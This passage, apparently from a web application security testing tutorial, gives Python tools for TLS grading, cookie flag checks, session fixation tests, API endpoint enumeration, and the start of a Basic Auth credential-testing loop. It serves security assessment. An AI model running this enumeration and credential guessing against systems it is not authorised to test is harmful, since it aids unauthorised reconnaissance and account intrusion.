analysis['security_implications'].append(\"Custom 404 page may hide directory existence\")\n                \n        elif status_code == 500:\n            if 'SQL' in response.text or 'mysql' in response.text.lower():\n                analysis['security_implications'].append(\"SQL error disclosed - possible SQL injection\")\n            if 'Stack Trace' in response.text or 'at ' in response.text:\n                analysis['security_implications'].append(\"Stack trace disclosed - sensitive information\")\n                \n        elif status_code == 429:\n            analysis['security_implications'].append(\"Rate limiting detected - brute force protection?\")\n            \n        return analysis\n    \n    def fuzz_status_codes(self, base_url, paths):\n        \"\"\"Fuzz paths to observe status code patterns\"\"\"\n        \n        import requests\n        \n        results = {\n            '200': [],\n            '403': [],\n            '404': [],\n            '500': [],\n            'other': []\n        }\n        \n        for path in paths:\n            try:\n                url = f\"{base_url}/{path}\"\n                response = requests.get(url, timeout=2)\n                \n                code = response.status_code\n                if code == 200:\n                    results['200'].append(path)\n                elif code == 403:\n                    results['403'].append(path)\n                elif code == 404:\n                    results['404'].append(path)\n                elif code == 500:\n                    results['500'].append(path)\n                else:\n                    results['other'].append(f\"{path}: {code}\")\n                    \n            except:\n                results['other'].append(f\"{path}: error\")\n                \n        return results\n\n# Example usage\nanalyzer = HTTPStatusAnalyzer()\nimport requests\nresponse = requests.get('http://example.com/nonexistent')\nanalysis = analyzer.analyze_response(response)\nprint(json.dumps(analysis, indent=2))\n```\n\n#### 12.1.2 HTTPS and TLS\n\n**TLS Handshake Analysis**:\n\n```python\n#!/usr/bin/env python3\n# tls_analysis.py\n\nimport ssl\nimport socket\nimport json\nimport certifi\nfrom OpenSSL import SSL, crypto\n\nclass TLSAnalyzer:\n    def __init__(self, hostname, port=443):\n        self.hostname = hostname\n        self.port = port\n        self.cert_info = {}\n        self.tls_info = {}\n        \n    def get_certificate(self):\n        \"\"\"Retrieve SSL/TLS certificate\"\"\"\n        try:\n            # Create SSL context\n            context = ssl.create_default_context()\n            context.check_hostname = False\n            context.verify_mode = ssl.CERT_NONE\n            \n            # Connect and get certificate\n            with socket.create_connection((self.hostname, self.port), timeout=10) as sock:\n                with context.wrap_socket(sock, server_hostname=self.hostname) as ssock:\n                    cert = ssock.getpeercert(binary_form=True)\n                    \n                    # Parse certificate\n                    x509 = crypto.load_certificate(crypto.FILETYPE_ASN1, cert)\n                    \n                    self.cert_info = {\n                        'subject': dict(x509.get_subject().get_components()),\n                        'issuer': dict(x509.get_issuer().get_components()),\n                        'version': x509.get_version(),\n                        'serial_number': x509.get_serial_number(),\n                        'not_before': x509.get_notBefore().decode(),\n                        'not_after': x509.get_notAfter().decode(),\n                        'signature_algorithm': x509.get_signature_algorithm().decode(),\n                        'extensions': []\n                    }\n                    \n                    # Get extensions\n                    for i in range(x509.get_extension_count()):\n                        ext = x509.get_extension(i)\n                        self.cert_info['extensions'].append({\n                            'name': ext.get_short_name().decode(),\n                            'critical': ext.get_critical(),\n                            'value': str(ext)\n                        })\n                        \n                    # Get SANs\n                    for ext in self.cert_info['extensions']:\n                        if ext['name'] == 'subjectAltName':\n                            sans = ext['value'].split(', ')\n                            self.cert_info['subject_alt_names'] = [san.strip() for san in sans]\n                            \n        except Exception as e:\n            print(f\"Error retrieving certificate: {e}\")\n            \n        return self.cert_info\n    \n    def check_tls_configuration(self):\n        \"\"\"Check TLS configuration and vulnerabilities\"\"\"\n        \n        vulnerabilities = []\n        recommendations = []\n        \n        # Check protocol versions\n        protocols = {\n            'SSLv2': False,\n            'SSLv3': False,\n            'TLSv1.0': False,\n            'TLSv1.1': False,\n            'TLSv1.2': False,\n            'TLSv1.3': False\n        }\n        \n        for protocol in protocols.keys():\n            try:\n                context = ssl.SSLContext(self.get_ssl_version(protocol))\n                context.check_hostname = False\n                context.verify_mode = ssl.CERT_NONE\n                \n                with socket.create_connection((self.hostname, self.port), timeout=5) as sock:\n                    with context.wrap_socket(sock, server_hostname=self.hostname) as ssock:\n                        protocols[protocol] = True\n            except:\n                pass\n                \n        self.tls_info['supported_protocols'] = protocols\n        \n        # Check for vulnerabilities\n        if protocols.get('SSLv2', False):\n            vulnerabilities.append(\"SSLv2 supported - severely insecure\")\n            \n        if protocols.get('SSLv3', False):\n            vulnerabilities.append(\"SSLv3 supported - vulnerable to POODLE\")\n            \n        if protocols.get('TLSv1.0', False):\n            vulnerabilities.append(\"TLS 1.0 supported - deprecated\")\n            \n        if not protocols.get('TLSv1.2', False):\n            vulnerabilities.append(\"TLS 1.2 not supported - missing modern protocol\")\n            \n        if not protocols.get('TLSv1.3', False):\n            recommendations.append(\"Enable TLS 1.3 for best security\")\n            \n        # Check certificate expiration\n        if self.cert_info:\n            import datetime\n            not_after = datetime.datetime.strptime(\n                self.cert_info['not_after'].decode() if isinstance(self.cert_info['not_after'], bytes) \n                else self.cert_info['not_after'],\n                '%Y%m%d%H%M%SZ'\n            )\n            \n            days_until_expiry = (not_after - datetime.datetime.now()).days\n            \n            if days_until_expiry &lt; 0:\n                vulnerabilities.append(f\"Certificate EXPIRED {abs(days_until_expiry)} days ago\")\n            elif days_until_expiry &lt; 30:\n                vulnerabilities.append(f\"Certificate expires in {days_until_expiry} days\")\n                \n        # Check certificate trust chain\n        try:\n            context = ssl.create_default_context(cafile=certifi.where())\n            with socket.create_connection((self.hostname, self.port), timeout=5) as sock:\n                with context.wrap_socket(sock, server_hostname=self.hostname) as ssock:\n                    self.tls_info['certificate_valid'] = True\n        except ssl.SSLCertVerificationError as e:\n            self.tls_info['certificate_valid'] = False\n            vulnerabilities.append(f\"Certificate validation failed: {e}\")\n            \n        self.tls_info['vulnerabilities'] = vulnerabilities\n        self.tls_info['recommendations'] = recommendations\n        \n        return self.tls_info\n    \n    def get_ssl_version(self, protocol_name):\n        \"\"\"Map protocol name to SSL version constant\"\"\"\n        versions = {\n            'SSLv2': ssl.PROTOCOL_SSLv23,  # This is approximate\n            'SSLv3': ssl.PROTOCOL_SSLv3,\n            'TLSv1.0': ssl.PROTOCOL_TLSv1,\n            'TLSv1.1': ssl.PROTOCOL_TLSv1_1,\n            'TLSv1.2': ssl.PROTOCOL_TLSv1_2,\n            'TLSv1.3': ssl.PROTOCOL_TLS_CLIENT  # For TLS 1.3 detection\n        }\n        return versions.get(protocol_name, ssl.PROTOCOL_TLS_CLIENT)\n    \n    def test_weak_ciphers(self):\n        \"\"\"Test for weak cipher support\"\"\"\n        \n        weak_ciphers = [\n            'RC4-SHA',\n            'RC4-MD5',\n            'DES-CBC3-SHA',\n            'EDH-RSA-DES-CBC3-SHA',\n            'AECDH-AES256-SHA',\n            'AECDH-AES128-SHA',\n            'ADH-AES256-SHA',\n            'ADH-AES128-SHA',\n            'EXP-EDH-RSA-DES-CBC-SHA',\n            'EXP-DES-CBC-SHA',\n            'EXP-RC4-MD5'\n        ]\n        \n        supported_weak = []\n        \n        for cipher in weak_ciphers:\n            try:\n                context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n                context.set_ciphers(cipher)\n                context.check_hostname = False\n                context.verify_mode = ssl.CERT_NONE\n                \n                with socket.create_connection((self.hostname, self.port), timeout=5) as sock:\n                    with context.wrap_socket(sock, server_hostname=self.hostname) as ssock:\n                        supported_weak.append(cipher)\n            except:\n                pass\n                \n        return supported_weak\n    \n    def generate_report(self):\n        \"\"\"Generate comprehensive TLS report\"\"\"\n        \n        self.get_certificate()\n        self.check_tls_configuration()\n        weak_ciphers = self.test_weak_ciphers()\n        \n        report = {\n            'hostname': self.hostname,\n            'port': self.port,\n            'certificate': self.cert_info,\n            'tls_configuration': self.tls_info,\n            'weak_ciphers': weak_ciphers,\n            'grade': self.calculate_grade()\n        }\n        \n        return report\n    \n    def calculate_grade(self):\n        \"\"\"Calculate TLS configuration grade\"\"\"\n        \n        score = 100\n        deductions = []\n        \n        # Protocol deductions\n        protocols = self.tls_info.get('supported_protocols', {})\n        \n        if protocols.get('SSLv2', False):\n            score -= 50\n            deductions.append(\"SSLv2 support (-50)\")\n        if protocols.get('SSLv3', False):\n            score -= 30\n            deductions.append(\"SSLv3 support (-30)\")\n        if protocols.get('TLSv1.0', False):\n            score -= 15\n            deductions.append(\"TLS 1.0 support (-15)\")\n        if protocols.get('TLSv1.1', False):\n            score -= 5\n            deductions.append(\"TLS 1.1 support (-5)\")\n        if not protocols.get('TLSv1.2', False):\n            score -= 20\n            deductions.append(\"TLS 1.2 missing (-20)\")\n        if not protocols.get('TLSv1.3', False):\n            score -= 10\n            deductions.append(\"TLS 1.3 missing (-10)\")\n            \n        # Weak cipher deductions\n        weak_count = len(self.test_weak_ciphers())\n        if weak_count &gt; 0:\n            score -= min(weak_count * 5, 30)\n            deductions.append(f\"Weak ciphers ({weak_count}) (-{min(weak_count*5, 30)})\")\n            \n        # Certificate issues\n        if self.cert_info:\n            import datetime\n            not_after = datetime.datetime.strptime(\n                self.cert_info['not_after'].decode() if isinstance(self.cert_info['not_after'], bytes) \n                else self.cert_info['not_after'],\n                '%Y%m%d%H%M%SZ'\n            )\n            \n            days_left = (not_after - datetime.datetime.now()).days\n            if days_left &lt; 30:\n                score -= 15\n                deductions.append(f\"Certificate expiring ({days_left} days) (-15)\")\n            if days_left &lt; 0:\n                score = 0\n                deductions.append(\"Certificate expired - AUTOMATIC FAIL\")\n                \n        # Determine grade\n        if score &gt;= 90:\n            grade = 'A'\n        elif score &gt;= 70:\n            grade = 'B'\n        elif score &gt;= 50:\n            grade = 'C'\n        elif score &gt;= 30:\n            grade = 'D'\n        else:\n            grade = 'F'\n            \n        return {\n            'score': max(0, score),\n            'grade': grade,\n            'deductions': deductions\n        }\n\n# Example usage\nanalyzer = TLSAnalyzer('example.com')\nreport = analyzer.generate_report()\nprint(json.dumps(report, indent=2))\n```\n\n### 12.2 Cookies &amp; Sessions\n\nSession management is critical for web application security. Understanding how cookies and sessions work helps identify vulnerabilities like session fixation, hijacking, and insecure storage.\n\n#### 12.2.1 Cookie Attributes and Security\n\n```python\n#!/usr/bin/env python3\n# cookie_analyzer.py\n\nimport requests\nfrom http.cookies import SimpleCookie\nimport re\n\nclass CookieAnalyzer:\n    def __init__(self, session=None):\n        self.session = session or requests.Session()\n        self.cookies = {}\n        self.security_issues = []\n        \n    def analyze_cookie(self, cookie_name, cookie_value, attributes):\n        \"\"\"Analyze individual cookie for security issues\"\"\"\n        \n        issues = []\n        \n        # Check Secure flag\n        if 'secure' not in attributes or attributes['secure'] != True:\n            issues.append(\"Missing Secure flag - cookie sent over HTTP\")\n            \n        # Check HttpOnly flag\n        if 'httponly' not in attributes or attributes['httponly'] != True:\n            issues.append(\"Missing HttpOnly flag - accessible to JavaScript (XSS risk)\")\n            \n        # Check SameSite attribute\n        samesite = attributes.get('samesite', '').lower()\n        if not samesite:\n            issues.append(\"Missing SameSite attribute - CSRF risk\")\n        elif samesite == 'none':\n            if 'secure' in attributes and attributes['secure']:\n                issues.append(\"SameSite=None with Secure flag - acceptable for cross-site usage\")\n            else:\n                issues.append(\"SameSite=None without Secure flag - insecure\")\n        elif samesite in ['lax', 'strict']:\n            pass  # Good\n        else:\n            issues.append(f\"Unknown SameSite value: {samesite}\")\n            \n        # Check domain attribute\n        domain = attributes.get('domain', '')\n        if domain.startswith('.'):\n            issues.append(f\"Wildcard domain '{domain}' - cookie sent to all subdomains\")\n            \n        # Check path attribute\n        path = attributes.get('path', '/')\n        if path == '/':\n            pass  # Default, acceptable\n        elif path and not path.endswith('/'):\n            issues.append(f\"Path '{path}' may be too broad\")\n            \n        # Check expiration\n        expires = attributes.get('expires', '')\n        max_age = attributes.get('max-age', '')\n        \n        if not expires and not max_age:\n            issues.append(\"Session cookie (no expiration) - exists until browser closes\")\n        elif max_age:\n            try:\n                age = int(max_age)\n                if age &gt; 86400 * 30:  # 30 days\n                    issues.append(f\"Long-lived cookie: max-age={age} seconds\")\n            except:\n                pass\n                \n        # Check for sensitive information in value\n        sensitive_patterns = [\n            (r'password|passwd|pwd', 'Password in cookie'),\n            (r'token.*=.*[A-Za-z0-9]{20,}', 'Long token - check if sensitive'),\n            (r'admin|root|administrator', 'Privileged user indicator'),\n            (r'\\{.*\\}', 'JSON data in cookie'),\n            (r'[a-f0-9]{32}', 'MD5 hash - possibly sensitive'),\n            (r'[A-Za-z0-9-_]{40,}', 'Long token - possibly JWT or API key')\n        ]\n        \n        for pattern, description in sensitive_patterns:\n            if re.search(pattern, cookie_value, re.I):\n                issues.append(f\"Sensitive pattern detected: {description}\")\n                \n        return issues\n    \n    def capture_cookies(self, url, method='GET', data=None):\n        \"\"\"Capture cookies from HTTP response\"\"\"\n        \n        if method.upper() == 'GET':\n            response = self.session.get(url)\n        else:\n            response = self.session.post(url, data=data)\n            \n        cookies = {}\n        \n        # Parse Set-Cookie headers\n        for cookie_header in response.headers.getlist('Set-Cookie'):\n            cookie = SimpleCookie()\n            cookie.load(cookie_header)\n            \n            for key, morsel in cookie.items():\n                cookie_info = {\n                    'value': morsel.value,\n                    'attributes': {}\n                }\n                \n                # Extract attributes\n                for attr in ['path', 'domain', 'expires', 'max-age', 'secure', 'httponly', 'samesite']:\n                    if attr in morsel:\n                        cookie_info['attributes'][attr] = morsel[attr]\n                        \n                cookies[key] = cookie_info\n                \n        self.cookies = cookies\n        return cookies\n    \n    def analyze_all_cookies(self):\n        \"\"\"Analyze all captured cookies\"\"\"\n        \n        results = {}\n        \n        for cookie_name, cookie_info in self.cookies.items():\n            issues = self.analyze_cookie(\n                cookie_name,\n                cookie_info['value'],\n                cookie_info['attributes']\n            )\n            \n            results[cookie_name] = {\n                'value': cookie_info['value'][:20] + '...' if len(cookie_info['value']) &gt; 20 else cookie_info['value'],\n                'attributes': cookie_info['attributes'],\n                'security_issues': issues,\n                'risk_level': self.calculate_risk_level(issues)\n            }\n            \n            if issues:\n                self.security_issues.extend(issues)\n                \n        return results\n    \n    def calculate_risk_level(self, issues):\n        \"\"\"Calculate risk level based on issues\"\"\"\n        \n        if not issues:\n            return \"Low\"\n            \n        high_risk_indicators = [\n            'Missing HttpOnly',\n            'Password in cookie',\n            'expired',\n            'wildcard domain'\n        ]\n        \n        for indicator in high_risk_indicators:\n            if any(indicator in issue for issue in issues):\n                return \"High\"\n                \n        if len(issues) &gt; 2:\n            return \"Medium\"\n            \n        return \"Low\"\n    \n    def check_session_fixation(self, url1, url2):\n        \"\"\"Check if session remains same after login\"\"\"\n        \n        # Get initial session cookie\n        self.session = requests.Session()\n        response1 = self.session.get(url1)\n        initial_cookies = self.capture_cookies(url1)\n        \n        # Perform login (simulated)\n        login_data = {'username': 'test', 'password': 'test'}\n        response2 = self.session.post(url2, data=login_data)\n        after_login_cookies = self.capture_cookies(url2)\n        \n        # Compare session cookies\n        session_cookie_name = None\n        for cookie in initial_cookies:\n            if 'session' in cookie.lower() or 'sid' in cookie.lower():\n                session_cookie_name = cookie\n                break\n                \n        if session_cookie_name:\n            initial_value = initial_cookies.get(session_cookie_name, {}).get('value')\n            after_value = after_login_cookies.get(session_cookie_name, {}).get('value')\n            \n            if initial_value == after_value:\n                return {\n                    'vulnerable': True,\n                    'issue': \"Session fixation possible - session ID unchanged after login\",\n                    'session_cookie': session_cookie_name,\n                    'initial_value': initial_value,\n                    'after_value': after_value\n                }\n                \n        return {'vulnerable': False}\n    \n    def generate_report(self):\n        \"\"\"Generate cookie security report\"\"\"\n        \n        report = {\n            'total_cookies': len(self.cookies),\n            'cookies_with_issues': len([c for c in self.cookies.values() if c.get('security_issues')]),\n            'security_issues': list(set(self.security_issues)),\n            'cookie_details': self.analyze_all_cookies(),\n            'recommendations': []\n        }\n        \n        # Generate recommendations\n        if 'Missing Secure flag' in report['security_issues']:\n            report['recommendations'].append(\"Add Secure flag to all cookies to ensure they're only sent over HTTPS\")\n            \n        if 'Missing HttpOnly flag' in report['security_issues']:\n            report['recommendations'].append(\"Add HttpOnly flag to prevent JavaScript access\")\n            \n        if 'Missing SameSite attribute' in report['security_issues']:\n            report['recommendations'].append(\"Implement SameSite=Lax or Strict to mitigate CSRF\")\n            \n        return report\n\n# Example usage\nanalyzer = CookieAnalyzer()\ncookies = analyzer.capture_cookies('https://example.com/login')\nresults = analyzer.analyze_all_cookies()\nprint(json.dumps(results, indent=2))\n\n# Check session fixation\nfixation_check = analyzer.check_session_fixation(\n    'https://example.com/',\n    'https://example.com/login'\n)\nprint(json.dumps(fixation_check, indent=2))\n```\n\n#### 12.2.2 Session Management Testing\n\n```python\n#!/usr/bin/env python3\n# session_tester.py\n\nimport requests\nimport time\nimport hashlib\nimport random\nimport string\nfrom concurrent.futures import ThreadPoolExecutor\n\nclass SessionTester:\n    def __init__(self, base_url):\n        self.base_url = base_url\n        self.session = requests.Session()\n        \n    def test_session_timeout(self, session_cookie_name, timeout_seconds=1800):\n        \"\"\"Test session timeout behavior\"\"\"\n        \n        # Get initial session\n        response = self.session.get(self.base_url)\n        initial_cookie = response.cookies.get(session_cookie_name)\n        \n        if not initial_cookie:\n            return {\"error\": \"No session cookie found\"}\n            \n        results = {\n            'cookie_name': session_cookie_name,\n            'initial_value': initial_cookie,\n            'timeout_tests': []\n        }\n        \n        # Test at different intervals\n        intervals = [300, 600, 1800, 3600, 7200]  # 5min, 10min, 30min, 1hr, 2hr\n        \n        for interval in intervals:\n            if interval &gt; timeout_seconds:\n                break\n                \n            print(f\"[*] Waiting {interval} seconds...\")\n            time.sleep(interval)\n            \n            # Make request with same session\n            response = self.session.get(self.base_url)\n            current_cookie = response.cookies.get(session_cookie_name)\n            \n            results['timeout_tests'].append({\n                'interval': interval,\n                'cookie_valid': current_cookie == initial_cookie,\n                'status_code': response.status_code\n            })\n            \n        return results\n    \n    def test_session_fixation(self, login_url, username, password):\n        \"\"\"Test for session fixation vulnerabilities\"\"\"\n        \n        results = {\n            'vulnerabilities': [],\n            'tests': []\n        }\n        \n        # Test 1: Pre-login session persists after login\n        print(\"[*] Testing session persistence after login\")\n        \n        # Get pre-login session\n        pre_login = requests.Session()\n        response = pre_login.get(self.base_url)\n        pre_session = dict(response.cookies)\n        \n        # Perform login\n        login_response = pre_login.post(login_url, data={\n            'username': username,\n            'password': password\n        })\n        \n        # Check if session changed\n        post_session = dict(login_response.cookies)\n        \n        if pre_session == post_session:\n            results['vulnerabilities'].append({\n                'type': 'Session Fixation',\n                'description': 'Session ID remains same before and after login',\n                'pre_login': pre_session,\n                'post_login': post_session\n            })\n            \n        results['tests'].append({\n            'name': 'Pre/Post Login Session',\n            'vulnerable': pre_session == post_session\n        })\n        \n        # Test 2: Accept arbitrary session IDs\n        print(\"[*] Testing acceptance of arbitrary session IDs\")\n        \n        arbitrary_sessions = []\n        for i in range(5):\n            # Generate random session ID\n            random_sid = hashlib.md5(str(random.random()).encode()).hexdigest()\n            \n            test_session = requests.Session()\n            test_session.cookies.set('session', random_sid)\n            \n            response = test_session.get(self.base_url)\n            \n            if response.status_code == 200:\n                arbitrary_sessions.append(random_sid)\n                \n        if arbitrary_sessions:\n            results['vulnerabilities'].append({\n                'type': 'Arbitrary Session Acceptance',\n                'description': 'Server accepts arbitrary session IDs',\n                'examples': arbitrary_sessions[:3]\n            })\n            \n        results['tests'].append({\n            'name': 'Arbitrary Session Acceptance',\n            'vulnerable': len(arbitrary_sessions) &gt; 0,\n            'count': len(arbitrary_sessions)\n        })\n        \n        # Test 3: Session fixation via URL\n        print(\"[*] Testing session fixation via URL\")\n        \n        # Try to set session via URL parameter\n        test_sid = 'fixed_session_123'\n        url_with_sid = f\"{self.base_url}?sessionid={test_sid}\"\n        \n        response = self.session.get(url_with_sid)\n        \n        if response.cookies.get('session') == test_sid:\n            results['vulnerabilities'].append({\n                'type': 'URL-Based Session Fixation',\n                'description': 'Session ID accepted via URL parameter',\n                'url': url_with_sid\n            })\n            \n        return results\n    \n    def test_session_concurrency(self, session_cookie_name, num_sessions=5):\n        \"\"\"Test concurrent session handling\"\"\"\n        \n        sessions = []\n        \n        # Create multiple sessions\n        for i in range(num_sessions):\n            s = requests.Session()\n            s.get(self.base_url)\n            sessions.append(s)\n            \n        results = {\n            'active_sessions': num_sessions,\n            'concurrent_access': []\n        }\n        \n        # Try to use all sessions concurrently\n        def use_session(session, request_id):\n            try:\n                response = session.get(f\"{self.base_url}/profile\")\n                return {\n                    'request_id': request_id,\n                    'status': response.status_code,\n                    'success': True\n                }\n            except Exception as e:\n                return {\n                    'request_id': request_id,\n                    'status': 'error',\n                    'error': str(e)\n                }\n                \n        with ThreadPoolExecutor(max_workers=num_sessions) as executor:\n            futures = []\n            for i, session in enumerate(sessions):\n                future = executor.submit(use_session, session, i)\n                futures.append(future)\n                \n            for future in futures:\n                result = future.result()\n                results['concurrent_access'].append(result)\n                \n        # Check if any sessions were invalidated\n        success_count = sum(1 for r in results['concurrent_access'] if r.get('success', False))\n        \n        if success_count &lt; num_sessions:\n            results['limitation'] = f\"Only {success_count}/{num_sessions} sessions allowed concurrently\"\n            \n        return results\n    \n    def test_session_logout(self):\n        \"\"\"Test session invalidation on logout\"\"\"\n        \n        results = {\n            'tests': []\n        }\n        \n        # Create authenticated session\n        auth_session = requests.Session()\n        # Assume we have login function\n        # auth_session.post(f\"{self.base_url}/login\", data=...)\n        \n        # Get protected page before logout\n        # pre_response = auth_session.get(f\"{self.base_url}/dashboard\")\n        \n        # Perform logout\n        # logout_response = auth_session.get(f\"{self.base_url}/logout\")\n        \n        # Try to access protected page again\n        # post_response = auth_session.get(f\"{self.base_url}/dashboard\")\n        \n        # Check if old session still works\n        # if post_response.status_code == 200:\n        #     results['vulnerabilities'].append(\"Session not invalidated on logout\")\n        \n        return results\n\n# Example usage\ntester = SessionTester('https://example.com')\nfixation_results = tester.test_session_fixation(\n    'https://example.com/login',\n    'testuser',\n    'testpass'\n)\nprint(json.dumps(fixation_results, indent=2))\n```\n\n### 12.3 REST APIs\n\nRESTful APIs have become the standard for web services and present unique security challenges.\n\n#### 12.3.1 API Endpoint Discovery\n\n```python\n#!/usr/bin/env python3\n# api_discovery.py\n\nimport requests\nimport json\nimport re\nfrom urllib.parse import urljoin, urlparse\n\nclass APIDiscovery:\n    def __init__(self, base_url):\n        self.base_url = base_url.rstrip('/')\n        self.session = requests.Session()\n        self.discovered_endpoints = set()\n        self.api_patterns = []\n        \n    def discover_from_js(self, js_url):\n        \"\"\"Discover API endpoints from JavaScript files\"\"\"\n        \n        try:\n            response = self.session.get(js_url)\n            if response.status_code == 200:\n                content = response.text\n                \n                # Look for API patterns in JS\n                patterns = [\n                    r'[\"\\'](/api/[^\"\\']+)[\"\\']',\n                    r'[\"\\'](/v[0-9]+/[^\"\\']+)[\"\\']',\n                    r'[\"\\'](/graphql)[^\"\\']*[\"\\']',\n                    r'[\"\\'](/rest/[^\"\\']+)[\"\\']',\n                    r'fetch\\([\"\\']([^\"\\']+)[\"\\']',\n                    r'axios\\.(?:get|post|put|delete)\\([\"\\']([^\"\\']+)[\"\\']',\n                    r'url:\\s*[\"\\']([^\"\\']+)[\"\\']',\n                    r'endpoint:\\s*[\"\\']([^\"\\']+)[\"\\']'\n                ]\n                \n                for pattern in patterns:\n                    matches = re.findall(pattern, content)\n                    for match in matches:\n                        if match.startswith('/'):\n                            full_url = urljoin(self.base_url, match)\n                        elif match.startswith('http'):\n                            full_url = match\n                        else:\n                            full_url = urljoin(self.base_url, '/' + match)\n                            \n                        self.discovered_endpoints.add(full_url)\n                        \n        except Exception as e:\n            print(f\"Error processing {js_url}: {e}\")\n            \n    def discover_from_html(self, html_url):\n        \"\"\"Discover API endpoints from HTML\"\"\"\n        \n        try:\n            response = self.session.get(html_url)\n            if response.status_code == 200:\n                content = response.text\n                \n                # Look for API-related elements\n                patterns = [\n                    r'action=[\"\\']([^\"\\']+)[\"\\']',\n                    r'href=[\"\\']([^\"\\']+\\.(?:json|xml|api))[\"\\']',\n                    r'data-api=[\"\\']([^\"\\']+)[\"\\']',\n                    r'data-endpoint=[\"\\']([^\"\\']+)[\"\\']'\n                ]\n                \n                for pattern in patterns:\n                    matches = re.findall(pattern, content, re.IGNORECASE)\n                    for match in matches:\n                        if 'api' in match.lower() or 'v1' in match.lower() or 'v2' in match.lower():\n                            full_url = urljoin(self.base_url, match)\n                            self.discovered_endpoints.add(full_url)\n                            \n        except Exception as e:\n            print(f\"Error processing {html_url}: {e}\")\n            \n    def discover_from_common_paths(self):\n        \"\"\"Try common API paths\"\"\"\n        \n        common_paths = [\n            '/api',\n            '/api/v1',\n            '/api/v2',\n            '/api/v3',\n            '/v1',\n            '/v2',\n            '/rest',\n            '/rest/v1',\n            '/graphql',\n            '/swagger',\n            '/swagger-ui',\n            '/swagger.json',\n            '/swagger.yaml',\n            '/api-docs',\n            '/docs',\n            '/documentation',\n            '/openapi.json',\n            '/api/swagger',\n            '/api/documentation',\n            '/api/docs',\n            '/api/explorer',\n            '/api-console',\n            '/api/v1/documentation',\n            '/swagger/index.html',\n            '/swagger-ui.html',\n            '/api/swagger-ui',\n            '/api/swagger.json',\n            '/api/swagger.yaml',\n            '/api/v1/swagger.json',\n            '/api/v2/swagger.json',\n            '/.well-known/openid-configuration',\n            '/oauth/token',\n            '/oauth/authorize',\n            '/token',\n            '/authorize',\n            '/login/oauth',\n            '/api/oauth',\n            '/api/token',\n            '/api/users',\n            '/api/user',\n            '/api/accounts',\n            '/api/account',\n            '/api/admin',\n            '/api/health',\n            '/api/status',\n            '/api/metrics',\n            '/api/info',\n            '/api/version',\n            '/api/config',\n            '/api/settings',\n            '/api/profile',\n            '/api/profiles',\n            '/api/auth',\n            '/api/login',\n            '/api/logout',\n            '/api/register',\n            '/api/signup',\n            '/api/search',\n            '/api/query',\n            '/api/upload',\n            '/api/download',\n            '/api/export',\n            '/api/import',\n            '/api/data',\n            '/api/db',\n            '/api/database',\n            '/api/storage',\n            '/api/files',\n            '/api/images',\n            '/api/media'\n        ]\n        \n        for path in common_paths:\n            url = urljoin(self.base_url, path)\n            try:\n                response = self.session.get(url, timeout=3)\n                if response.status_code != 404:\n                    self.discovered_endpoints.add(url)\n                    \n                    # Try common methods\n                    for method in ['POST', 'PUT', 'DELETE', 'PATCH']:\n                        try:\n                            resp = self.session.request(method, url, timeout=2)\n                            if resp.status_code != 404 and resp.status_code != 405:\n                                self.api_patterns.append({\n                                    'url': url,\n                                    'method': method,\n                                    'status': resp.status_code\n                                })\n                        except:\n                            pass\n            except:\n                pass\n                \n    def discover_from_headers(self, url):\n        \"\"\"Discover API info from response headers\"\"\"\n        \n        try:\n            response = self.session.get(url)\n            headers = response.headers\n            \n            # Look for API-related headers\n            api_headers = [\n                'X-API-Version',\n                'API-Version',\n                'X-API-Key',\n                'X-API-Endpoint',\n                'X-RateLimit-Limit',\n                'X-RateLimit-Remaining',\n                'X-RateLimit-Reset'\n            ]\n            \n            for header in api_headers:\n                if header in headers:\n                    self.api_patterns.append({\n                        'type': 'header',\n                        'name': header,\n                        'value': headers[header]\n                    })\n                    \n        except:\n            pass\n            \n    def enumerate_endpoints(self):\n        \"\"\"Run all discovery methods\"\"\"\n        \n        print(f\"[*] Starting API discovery for {self.base_url}\")\n        \n        # Try common paths first\n        self.discover_from_common_paths()\n        \n        # Get main page and scan for endpoints\n        try:\n            response = self.session.get(self.base_url)\n            if response.status_code == 200:\n                # Extract JavaScript files\n                js_pattern = r'src=[\"\\']([^\"\\']+\\.js)[\"\\']'\n                js_files = re.findall(js_pattern, response.text)\n                \n                for js in js_files[:10]:  # Limit to first 10 JS files\n                    js_url = urljoin(self.base_url, js)\n                    print(f\"  [*] Scanning JS: {js}\")\n                    self.discover_from_js(js_url)\n                    \n                # Scan HTML for API hints\n                self.discover_from_html(self.base_url)\n                \n        except Exception as e:\n            print(f\"Error fetching base URL: {e}\")\n            \n        # Check headers\n        self.discover_from_headers(self.base_url)\n        \n        # Common API documentation tools\n        doc_tools = [\n            '/swagger-ui',\n            '/api-docs',\n            '/docs',\n            '/graphiql',\n            '/graphql/console'\n        ]\n        \n        for tool in doc_tools:\n            url = urljoin(self.base_url, tool)\n            try:\n                response = self.session.get(url, timeout=3)\n                if response.status_code == 200:\n                    self.discovered_endpoints.add(url)\n                    print(f\"  [+] Found API documentation: {url}\")\n            except:\n                pass\n                \n        return {\n            'base_url': self.base_url,\n            'endpoints': list(self.discovered_endpoints),\n            'api_patterns': self.api_patterns,\n            'total_endpoints': len(self.discovered_endpoints)\n        }\n    \n    def test_endpoint_methods(self, endpoint):\n        \"\"\"Test HTTP methods on discovered endpoint\"\"\"\n        \n        methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD']\n        results = {}\n        \n        for method in methods:\n            try:\n                response = self.session.request(method, endpoint, timeout=3)\n                results[method] = {\n                    'status_code': response.status_code,\n                    'content_type': response.headers.get('Content-Type', ''),\n                    'body_length': len(response.text)\n                }\n            except Exception as e:\n                results[method] = {'error': str(e)}\n                \n        return results\n\n# Example usage\ndiscovery = APIDiscovery('https://example.com')\nresults = discovery.enumerate_endpoints()\nprint(json.dumps(results, indent=2))\n\n# Test discovered endpoints\nfor endpoint in list(results['endpoints'])[:5]:\n    methods = discovery.test_endpoint_methods(endpoint)\n    print(f\"\\n[*] Testing {endpoint}\")\n    print(json.dumps(methods, indent=2))\n```\n\n#### 12.3.2 API Authentication Testing\n\n```python\n#!/usr/bin/env python3\n# api_auth_testing.py\n\nimport requests\nimport json\nimport base64\nimport hashlib\nimport hmac\nimport time\n\nclass APIAuthTester:\n    def __init__(self, base_url):\n        self.base_url = base_url\n        self.session = requests.Session()\n        self.auth_methods = {}\n        \n    def test_basic_auth(self, endpoint, credentials_list):\n        \"\"\"Test HTTP Basic Authentication\"\"\"\n        \n        results = []\n        \n        for creds in credentials_list:\n            username = creds.get('username', '')\n            password = creds.get('password', '')\n            \n            # Create Basic Auth header\n            auth_string = f\"{username}:{password}\"\n            encoded = 